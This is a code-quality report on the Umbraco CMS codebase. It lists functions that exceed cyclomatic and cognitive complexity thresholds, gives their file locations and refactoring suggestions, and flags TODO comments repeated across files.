UmbPropertyEditorUISearchController.#scoreUI (cyclomatic 17) src/Umbraco.Web.UI.Client/src/packages/core/property-editor/ui-picker-modal/property-editor-ui-search.controller.ts:114— UmbPropertyEditorUISearchController.#scoreUI has cyclomatic complexity 17 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
anchor.ensureAnchorHistory (cyclomatic 17) src/Umbraco.Web.UI.Client/src/packages/core/router/router-slot/util/anchor.ts:5— anchor.ensureAnchorHistory has cyclomatic complexity 17 (threshold 15). Most of this is not in the body itself: 1 of the 17 points is its own statement and the rest belongs to 2 function literals inside it that branch (lines 8, 17). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbElementPublishEntityBulkAction.execute (cyclomatic 17) src/Umbraco.Web.UI.Client/src/packages/elements/publishing/publish/entity-bulk-action/publish.bulk-action.ts:17— UmbElementPublishEntityBulkAction.execute has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbElementUnpublishEntityBulkAction.execute (cyclomatic 17) src/Umbraco.Web.UI.Client/src/packages/elements/publishing/unpublish/entity-bulk-action/unpublish.bulk-action.ts:17— UmbElementUnpublishEntityBulkAction.execute has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbNewPasswordLayoutElement.#onSubmit (cyclomatic 17) src/Umbraco.Web.UI.Login/src/components/layouts/new-password-layout.element.ts:83— UmbNewPasswordLayoutElement.#onSubmit has cyclomatic complexity 17 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
collectDictionaryIcons (cyclomatic 17) src/Umbraco.Web.UI.Client/devops/icons/index.js:61— collectDictionaryIcons has cyclomatic complexity 17 (threshold 15). Most of this is not in the body itself: 2 of the 17 points are its own statements and the rest belongs to 6 function literals inside it that branch (lines 75, 114, 149, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UserEditorAuthorizationHelper.IsAuthorized (cyclomatic 16) src/Umbraco.Core/Editors/UserEditorAuthorizationHelper.cs:48— UserEditorAuthorizationHelper.IsAuthorized has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
Property.TryConvertAssignedValue (cyclomatic 16) src/Umbraco.Core/Models/Property.cs:468— Property.TryConvertAssignedValue has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
MultiNodeTreePickerValueConverter.ConvertIntermediateToObject (cyclomatic 16) src/Umbraco.Core/PropertyEditors/ValueConverters/MultiNodeTreePickerValueConverter.cs:98— MultiNodeTreePickerValueConverter.ConvertIntermediateToObject has cyclomatic complexity 16 (threshold 15). Of this number, 15 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PublishedRouter.HandlePublishedContent (cyclomatic 16) src/Umbraco.Core/Routing/PublishedRouter.cs:529— PublishedRouter.HandlePublishedContent has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentService.PublishBranch (cyclomatic 16) src/Umbraco.Core/Services/ContentService.cs:932— ContentService.PublishBranch has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentVersionServiceBase.CleanupItemVersions (cyclomatic 16) src/Umbraco.Core/Services/ContentVersionServiceBase.cs:202— ContentVersionServiceBase.CleanupItemVersions has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
DeleteKeysAndIndexesBuilder.Do (cyclomatic 16) src/Umbraco.Infrastructure/Migrations/Expressions/Delete/KeysAndIndexes/DeleteKeysAndIndexesBuilder.cs:58— DeleteKeysAndIndexesBuilder.Do has cyclomatic complexity 16 (threshold 15). Of this number, 11 points are the body's own statements and 5 belong to 3 function literals inside it that branch. To reduce it, separate the branches: extract each independent case into its own named function, or replace a long branch ladder over a single value with a data-driven lookup or dispatch table.
ContentRepositoryBase.CheckDataIntegrity (cyclomatic 16) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:709— ContentRepositoryBase.CheckDataIntegrity has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentTypeCommonRepository.MapGroupsAndProperties (cyclomatic 16) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeCommonRepository.cs:290— ContentTypeCommonRepository.MapGroupsAndProperties has cyclomatic complexity 16 (threshold 15). To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
BlockValuePropertyIndexValueFactoryBase.GetNestedResults (cyclomatic 16) src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyIndexValueFactoryBase.cs:202— BlockValuePropertyIndexValueFactoryBase.GetNestedResults has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
RuntimeState.DetermineRuntimeLevel (cyclomatic 16) src/Umbraco.Infrastructure/Runtime/RuntimeState.cs:116— RuntimeState.DetermineRuntimeLevel has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
MediaIndexingNotificationHandler.Handle (cyclomatic 16) src/Umbraco.Infrastructure/Search/MediaIndexingNotificationHandler.cs:39— MediaIndexingNotificationHandler.Handle has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbExternalLoginController.ExternalLoginCallback (cyclomatic 16) src/Umbraco.Web.Website/Controllers/UmbExternalLoginController.cs:98— UmbExternalLoginController.ExternalLoginCallback has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PatchPathParser.Parse (cyclomatic 16) src/Umbraco.Cms.Api.Management/Patching/PatchPathParser.cs:34— PatchPathParser.Parse has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
CacheNodeFactory.GetContentData (cyclomatic 16) src/Umbraco.PublishedCache.HybridCache/Factories/CacheNodeFactory.cs:90— CacheNodeFactory.GetContentData has cyclomatic complexity 16 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbBlockGridEntriesContext.constructor (cyclomatic 16) src/Umbraco.Web.UI.Client/src/packages/block/block-grid/components/block-grid-entries/block-grid-entries.context.ts:155— UmbBlockGridEntriesContext.constructor has cyclomatic complexity 16 (threshold 15). Most of this is not in the body itself: 1 of the 16 points is its own statement and the rest belongs to 3 function literals inside it that branch (lines 239, 165, 203). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbBlockListEntriesContext.constructor (cyclomatic 16) src/Umbraco.Web.UI.Client/src/packages/block/block-list/context/block-list-entries.context.ts:32— UmbBlockListEntriesContext.constructor has cyclomatic complexity 16 (threshold 15). Most of this is not in the body itself: 1 of the 16 points is its own statement and the rest belongs to 3 function literals inside it that branch (lines 106, 37, 76). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbBlockSingleEntriesContext.constructor (cyclomatic 16) src/Umbraco.Web.UI.Client/src/packages/block/block-single/context/block-single-entries.context.ts:32— UmbBlockSingleEntriesContext.constructor has cyclomatic complexity 16 (threshold 15). Most of this is not in the body itself: 1 of the 16 points is its own statement and the rest belongs to 3 function literals inside it that branch (lines 106, 37, 76). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbPropertyEditorUIBlockSingleElement.constructor (cyclomatic 16) src/Umbraco.Web.UI.Client/src/packages/block/block-single/property-editors/block-single-editor/property-editor-ui-block-single.element.ts:165— UmbPropertyEditorUIBlockSingleElement.constructor has cyclomatic complexity 16 (threshold 15). Most of this is not in the body itself: 1 of the 16 points is its own statement and the rest belongs to 6 function literals inside it that branch (lines 176, 180, 224, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbDefaultTreeElement.updated (cyclomatic 16) src/Umbraco.Web.UI.Client/src/packages/core/tree/default/default-tree.element.ts:150— UmbDefaultTreeElement.updated has cyclomatic complexity 16 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
UmbMemberProfileDataWorkspaceInfoAppElement.#renderValue (cyclomatic 16) src/Umbraco.Web.UI.Client/src/packages/members/member/profile-data/info-app/member-profile-data-workspace-info-app.element.ts:29— UmbMemberProfileDataWorkspaceInfoAppElement.#renderValue has cyclomatic complexity 16 (threshold 15). Of this number, 10 points are the body's own statements and 6 belong to 2 function literals inside it that branch. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
create (cyclomatic 16) src/Umbraco.Web.UI.Client/devops/eslint/rules/ensure-relative-import-use-js-extension.cjs:13— create has cyclomatic complexity 16 (threshold 15). Most of this is not in the body itself: 1 of the 16 points is its own statement and the rest belongs to 9 function items inside it that branch (correctImport, ExportNamedDeclaration, ImportDeclaration, …). Those helpers are already separate functions, so extracting the branching again is not available. To reduce it, move them out of the body to the enclosing scope, where each is measured, reviewed and tested on its own, and reduce whichever one then reads as the largest.
TodoComment repeated across 15 files src/Umbraco.Cms.Api.Management/Controllers/PartialView/Tree/AncestorsPartialViewTreeController.cs:17— The identical TodoComment appears in 15 files (15 occurrences) — almost certainly one boilerplate line from a single migration or decision, not 15 independent debts. Fix the systemic cause once rather than file-by-file. Text: "// TODO Remove the static service provider, and replace with base when the other constructors are obsoleted.". Source code is not a task system: track the cleanup where tasks live. (Every occurrence still counts toward the score and metrics.)
TodoComment repeated across 20 files src/Umbraco.Cms.Api.Management/Factories/IDocumentEditingPresentationFactory.cs:27— The identical TodoComment appears in 20 files (29 occurrences) — almost certainly one boilerplate line from a single migration or decision, not 29 independent debts. Fix the systemic cause once rather than file-by-file. Text: "// TODO (V19): Remove the default implementation.". Source code is not a task system: track the cleanup where tasks live. (Every occurrence still counts toward the score and metrics.)
PublishableContentServiceBase.CommitContentChangesInternal (cognitive 144) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1401— PublishableContentServiceBase.CommitContentChangesInternal has cognitive complexity 144 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
BulkDataReader.AddSchemaTableRow (cognitive 105) src/Umbraco.Cms.Persistence.SqlServer/Services/BulkDataReader.cs:222— BulkDataReader.AddSchemaTableRow has cognitive complexity 105 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
HtmlStringUtilities.Truncate (cognitive 94) src/Umbraco.Web.Common/Mvc/HtmlStringUtilities.cs:142— HtmlStringUtilities.Truncate has cognitive complexity 94 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
UmbSorterController.#updateDragMove (cognitive 90) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:961— UmbSorterController.#updateDragMove has cognitive complexity 90 (threshold 15). Drivers by points: if/else 36 (73 pts), boolean chains 8, ternaries 4 (8 pts), loops 1 (nesting depth added 41). Of this number, 81 points are the body's own statements and 9 belong to 3 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UUIPopoverElement._updatePlacement (cognitive 82) src/Umbraco.Web.UI.Client/src/external/uui/uui-popover.element.ts:259— UUIPopoverElement._updatePlacement has cognitive complexity 82 (threshold 15). Drivers by points: if/else 27 (67 pts), boolean chains 9, ternaries 2 (6 pts) (nesting depth added 44). Of this number, 76 points are the body's own statements and 6 belong to 2 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PropertyFactory.BuildDtos (cognitive 73) src/Umbraco.Infrastructure/Persistence/Factories/PropertyFactory.cs:80— PropertyFactory.BuildDtos has cognitive complexity 73 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
DefaultShortStringHelper.CleanCodeString (cognitive 69) src/Umbraco.Core/Strings/DefaultShortStringHelper.cs:364— DefaultShortStringHelper.CleanCodeString has cognitive complexity 69 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ExpressionVisitorBase.VisitMethodCall (cognitive 67) src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:458— ExpressionVisitorBase.VisitMethodCall has cognitive complexity 67 (threshold 15). Of this number, 66 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
InMemoryModelFactory.GetModelsAssembly (cognitive 64) src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryModelFactory.cs:416— InMemoryModelFactory.GetModelsAssembly has cognitive complexity 64 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
DeepCloneHelper.DeepCloneRefProperties (cognitive 60) src/Umbraco.Core/Models/DeepCloneHelper.cs:25— DeepCloneHelper.DeepCloneRefProperties has cognitive complexity 60 (threshold 15). Of this number, 40 points are the body's own statements and 20 belong to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentTypeRepositoryBase.PersistUpdatedBaseContentType (cognitive 59) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:363— ContentTypeRepositoryBase.PersistUpdatedBaseContentType has cognitive complexity 59 (threshold 15). Of this number, 58 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentIndexingNotificationHandler.Handle (cognitive 56) src/Umbraco.Infrastructure/Search/ContentIndexingNotificationHandler.cs:40— ContentIndexingNotificationHandler.Handle has cognitive complexity 56 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
PublishableContentServiceBase.PerformScheduledPublishingRelease (cognitive 55) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1232— PublishableContentServiceBase.PerformScheduledPublishingRelease has cognitive complexity 55 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ExpressionVisitorBase.VisitBinary (cognitive 55) src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:174— ExpressionVisitorBase.VisitBinary has cognitive complexity 55 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublicAccessRequestHandler.RewriteForPublishedContentAccessAsync (cognitive 54) src/Umbraco.Web.Website/Routing/PublicAccessRequestHandler.cs:43— PublicAccessRequestHandler.RewriteForPublishedContentAccessAsync has cognitive complexity 54 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
BlockEditorValidatorBase.GetBlockEditorDataValidation (cognitive 49) src/Umbraco.Infrastructure/PropertyEditors/BlockEditorValidatorBase.cs:63— BlockEditorValidatorBase.GetBlockEditorDataValidation has cognitive complexity 49 (threshold 15). Of this number, 47 points are the body's own statements and 2 belong to 2 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentRepositoryExtensions.CopyFrom (cognitive 47) src/Umbraco.Core/Models/ContentRepositoryExtensions.cs:161— ContentRepositoryExtensions.CopyFrom has cognitive complexity 47 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
Diff.Sms (cognitive 47) src/Umbraco.Core/Strings/Diff.cs:239— Diff.Sms has cognitive complexity 47 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
BlockValuePropertyIndexValueFactoryBase.GetNestedResults (cognitive 47) src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyIndexValueFactoryBase.cs:202— BlockValuePropertyIndexValueFactoryBase.GetNestedResults has cognitive complexity 47 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbSorterController.moveItemInModel (cognitive 47) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:1271— UmbSorterController.moveItemInModel has cognitive complexity 47 (threshold 15). Drivers by points: if/else 25 (47 pts) (nesting depth added 22). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishedRouter.FindTemplateAsync (cognitive 46) src/Umbraco.Core/Routing/PublishedRouter.cs:714— PublishedRouter.FindTemplateAsync has cognitive complexity 46 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
PackageDataInstallation.ImportDocumentTypes (cognitive 46) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:916— PackageDataInstallation.ImportDocumentTypes has cognitive complexity 46 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentTypeRepositoryBase.RenormalizeEditedFlags (cognitive 46) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1355— ContentTypeRepositoryBase.RenormalizeEditedFlags has cognitive complexity 46 (threshold 15). Of this number, 45 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ObjectExtensions.TryConvertTo (cognitive 45) src/Umbraco.Core/Extensions/ObjectExtensions.cs:211— ObjectExtensions.TryConvertTo has cognitive complexity 45 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
ContentTypeServiceBase.ComposeContentTypeChanges (cognitive 45) src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:343— ContentTypeServiceBase.ComposeContentTypeChanges has cognitive complexity 45 (threshold 15). Of this number, 43 points are the body's own statements and 2 belong to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentValueSetBuilder.GetValueSetsEnumerable (cognitive 45) src/Umbraco.Infrastructure/Examine/ContentValueSetBuilder.cs:88— ContentValueSetBuilder.GetValueSetsEnumerable has cognitive complexity 45 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PublishableContentRepositoryBase.PersistUpdatedItem (cognitive 45) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1174— PublishableContentRepositoryBase.PersistUpdatedItem has cognitive complexity 45 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
QueuingEventDispatcherBase.FilterSupersededAndUpdateToLatestEntity (cognitive 44) src/Umbraco.Core/Events/QueuingEventDispatcherBase.cs:203— QueuingEventDispatcherBase.FilterSupersededAndUpdateToLatestEntity has cognitive complexity 44 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
MultiNodeTreePickerValueConverter.ConvertIntermediateToObject (cognitive 44) src/Umbraco.Core/PropertyEditors/ValueConverters/MultiNodeTreePickerValueConverter.cs:98— MultiNodeTreePickerValueConverter.ConvertIntermediateToObject has cognitive complexity 44 (threshold 15). Of this number, 38 points are the body's own statements and 6 belong to one function literal inside it that branches. To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
RouterSlot.renderPath (cognitive 44) src/Umbraco.Web.UI.Client/src/packages/core/router/router-slot/router-slot.ts:352— RouterSlot.renderPath has cognitive complexity 44 (threshold 15). Drivers by points: if/else 17 (40 pts), loops 1 (3 pts), error handling 1 (nesting depth added 25). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
form-control.mixin.UmbFormControlMixin (cognitive 44) src/Umbraco.Web.UI.Client/src/packages/core/validation/mixins/form-control.mixin.ts:104— form-control.mixin.UmbFormControlMixin has cognitive complexity 44 (threshold 15). Drivers by points: if/else 28 (35 pts), boolean chains 3, loops 2 (3 pts), ternaries 2 (3 pts) (nesting depth added 9). Of this number, 31 points are the body's own statements and 13 belong to 4 function literals inside it that branch. To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition, and where an else follows a branch that already returns, drop the trailing else and let the rest of the body continue at one level.
PublishableContentServiceBase.StrategyCanPublish (cognitive 41) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:2058— PublishableContentServiceBase.StrategyCanPublish has cognitive complexity 41 (threshold 15). Of this number, 40 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
BackOfficeUserStore.UpdateMemberProperties (cognitive 41) src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:811— BackOfficeUserStore.UpdateMemberProperties has cognitive complexity 41 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
UmbContentDetailWorkspaceTypeTransformController.#transformValuesForVariationChanges (cognitive 41) src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-type-transform.controller.ts:182— UmbContentDetailWorkspaceTypeTransformController.#transformValuesForVariationChanges has cognitive complexity 41 (threshold 15). Drivers by points: if/else 10 (27 pts), loops 4 (8 pts), boolean chains 3, ternaries 1 (3 pts) (nesting depth added 23). Of this number, 39 points are the body's own statements and 2 belong to 2 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
NotificationService.CreateNotificationRequest (cognitive 40) src/Umbraco.Core/Services/NotificationService.cs:346— NotificationService.CreateNotificationRequest has cognitive complexity 40 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
UmbracoServices.GetTypes (cognitive 39) src/Umbraco.Infrastructure/ModelsBuilder/UmbracoServices.cs:131— UmbracoServices.GetTypes has cognitive complexity 39 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
BlockValuePropertyValueEditorBase.CollectChangedCultures (cognitive 39) src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs:737— BlockValuePropertyValueEditorBase.CollectChangedCultures has cognitive complexity 39 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
JsonBlockValueConverter.DeserializeAndSetLayout (cognitive 39) src/Umbraco.Infrastructure/Serialization/JsonBlockValueConverter.cs:246— JsonBlockValueConverter.DeserializeAndSetLayout has cognitive complexity 39 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
UserEditorAuthorizationHelper.AuthorizePath (cognitive 38) src/Umbraco.Core/Editors/UserEditorAuthorizationHelper.cs:126— UserEditorAuthorizationHelper.AuthorizePath has cognitive complexity 38 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
PackageDataInstallation.UpdateContentTypesProperties (cognitive 37) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1472— PackageDataInstallation.UpdateContentTypesProperties has cognitive complexity 37 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ObjectExtensions.TryConvertToFromString (cognitive 36) src/Umbraco.Core/Extensions/ObjectExtensions.cs:374— ObjectExtensions.TryConvertToFromString has cognitive complexity 36 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
LabelValueConverter.ConvertSourceToIntermediate (cognitive 36) src/Umbraco.Core/PropertyEditors/ValueConverters/LabelValueConverter.cs:50— LabelValueConverter.ConvertSourceToIntermediate has cognitive complexity 36 (threshold 15). The drivers above price the dispatch low by construction — a dispatch is charged once however many cases it lists, while each branch inside an arm is charged in full — so most of this count is what the case bodies hold, and the arms are where it can be reduced. To reduce it, keep the dispatch but shrink the arms: move each non-trivial case body into its own named function (or onto the value being matched) so the dispatch reads one line per case, and group related cases into a sub-dispatch. Keep every case explicit, and make the behaviour for cases you do not list a deliberate choice rather than an accident.
DefaultShortStringHelper.CopyTerm (cognitive 35) src/Umbraco.Core/Strings/DefaultShortStringHelper.cs:528— DefaultShortStringHelper.CopyTerm has cognitive complexity 35 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
TextBuilder.WriteContentType (cognitive 35) src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:207— TextBuilder.WriteContentType has cognitive complexity 35 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
UserRepository.FilterByUserState (cognitive 35) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:1481— UserRepository.FilterByUserState has cognitive complexity 35 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
BlockPropertyValueCreatorBase.CreateBlockModelAsync (cognitive 35) src/Umbraco.Infrastructure/PropertyEditors/ValueConverters/BlockPropertyValueCreatorBase.cs:116— BlockPropertyValueCreatorBase.CreateBlockModelAsync has cognitive complexity 35 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
imaging-request-batcher.flush (cognitive 35) src/Umbraco.Web.UI.Client/src/packages/media/imaging/imaging-request-batcher.ts:36— imaging-request-batcher.flush has cognitive complexity 35 (threshold 15). Drivers by points: loops 7 (18 pts), if/else 11 (16 pts), error handling 1 (nesting depth added 16). To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
DisposableTimer.DisposeResources (cognitive 34) src/Umbraco.Core/Logging/DisposableTimer.cs:133— DisposableTimer.DisposeResources has cognitive complexity 34 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
UriUtility.ResolveUrl (cognitive 34) src/Umbraco.Core/Routing/UriUtility.cs:169— UriUtility.ResolveUrl has cognitive complexity 34 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
MediaIndexingNotificationHandler.Handle (cognitive 34) src/Umbraco.Infrastructure/Search/MediaIndexingNotificationHandler.cs:39— MediaIndexingNotificationHandler.Handle has cognitive complexity 34 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberUserStore.UpdateMemberProperties (cognitive 34) src/Umbraco.Infrastructure/Security/MemberUserStore.cs:1062— MemberUserStore.UpdateMemberProperties has cognitive complexity 34 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
